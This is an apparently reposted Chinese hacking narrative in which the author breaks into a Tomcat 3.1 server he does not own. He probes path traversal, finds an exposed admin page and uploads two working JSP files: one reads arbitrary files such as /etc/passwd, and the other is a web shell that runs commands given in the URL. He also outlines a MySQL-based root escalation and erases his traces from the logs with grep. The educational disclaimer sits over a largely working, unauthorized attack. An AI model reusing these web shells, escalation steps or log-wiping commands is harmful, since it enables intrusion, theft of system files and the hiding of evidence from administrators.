本文描述了如何通過WEB入侵獲得freebsd 4.0的root權限。
文章主要以教育為目的,希望各位觀者不要使用本文中的一些方法及程序,危害網絡的安全。
作者:lovehacker
聯系方式:lovehacker@263.net
網站地址: http://www.chinansl.com
版權屬安盟信息科技有限責任公司所有,允許轉載,但需保持文章的完整性。
很偶然的一個機會,看到了一個網站,頁面清新,很舒服的感覺。網站是用JSP開發的,由于個人愛好,所以我決定看看系統的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的結果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404
<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我獲得了運行的WEBServer的名稱"Tomcat 3.1"。我記得我曾經發現過這個版本的漏洞,并且post到bugtrap上去過。
大概是:通過".."技術可以退出WEB目錄,于是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.JSP %81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.JSP %2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在試試吧!Tomcat 3.1自帶了一個管理工具,可以查看WEB下的目錄及文件,并且可以添加context.試一下: http://target:8080/admin/
管理員果然沒有刪除或禁止訪問這個目錄:-(失誤!!!!!
接著我點"VIEW ALL CONTEXT"按鈕,列出了WEB目錄下的一些文件和目錄的名稱,我開始仔細的看了起來,一小會兒,發現了一個上傳文件的組件,嘿嘿,寫一個jsp文件弄上去看看。
幾口咖啡的時間,我寫了這么一個東東出來:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
通過上傳的組件將這個jsp上傳到對方的WEB目錄里,然后:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密碼出來啦。我只看了"/etc/passwd",并沒有看"/etc/shadow",因為當時考慮webserver一般使用nobody的身份啟動的,看了也白看。(失誤)
接下來的過程是無聊的猜測密碼,沒有成功。算了,那我只有將就點,反正現在我相當于有了一個shell了嘛,猜不出密碼上去,那就全當IE是我的SHELL環境吧!
再寫:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后把這個jsp又通過upload上傳了上去,嘿嘿,我現在有個SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我這里就不列出來了)
怎么獲得root呢?經過一番搜索我發現了系統安裝了mysql并且我從jsp的源代碼中得到了mysql的密碼:)看看是什么權限運行的mysql:
http://target:8080/upload/cmd.jsp?cmd=ps+aux +|grep+mysqld
顯示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有辦法了,系統是以root身份運行的mysql,同時我知道了mysql的密碼,那我現在我可以寫一個shell程序,讓它create一個表,然后將我的數據放到表中,然后再使用"select ... into outfile;"的辦法在系統上創建一個文件,讓用戶在執行su的時候,運行我的程序。(還記得apache.org有一次被入侵嗎?hacker就采用的這種辦法)。
然后,我再上傳bindshell之類的程序,運行、獲得nobody的權限,然后......再使用su root時幫忙創建的setuid shell讓自己成為root.
嘿嘿,真是好辦法,我都為我的想法感到得意......
接下去的事情,差點沒讓我吐血:
我敲了一個: http://target:8080/upload/cmd.jsp?cmd=id
顯示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的這個WEB SHELL本來就是ROOT,真是服了那個管理員,也服了自己。竟然折騰了這么半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份運行的(不列出來了)
剩下來的事情:
1、刪除我的telnet記錄。
2、刪除http的日志。
至于清除日志嘛,我使用的辦法是:cat xxx |grep -V "IP" >>temp然后在把temp覆蓋那些被我修改過的日志文件。
我沒有更換他的頁面,因為我本身也就不是什么黑客啦,更不是紅客,只是個網絡安全愛好者而已。所以,發封郵件告訴system admin吧!
當然,我順便在信中提到,如果需要安盟信息科技為他提供安全服務的話,我們會非常的高興!
posted on 2007-06-19 00:51
聶文龍 閱讀(556)
評論(0) 編輯 收藏 引用 所屬分類:
some hack imformation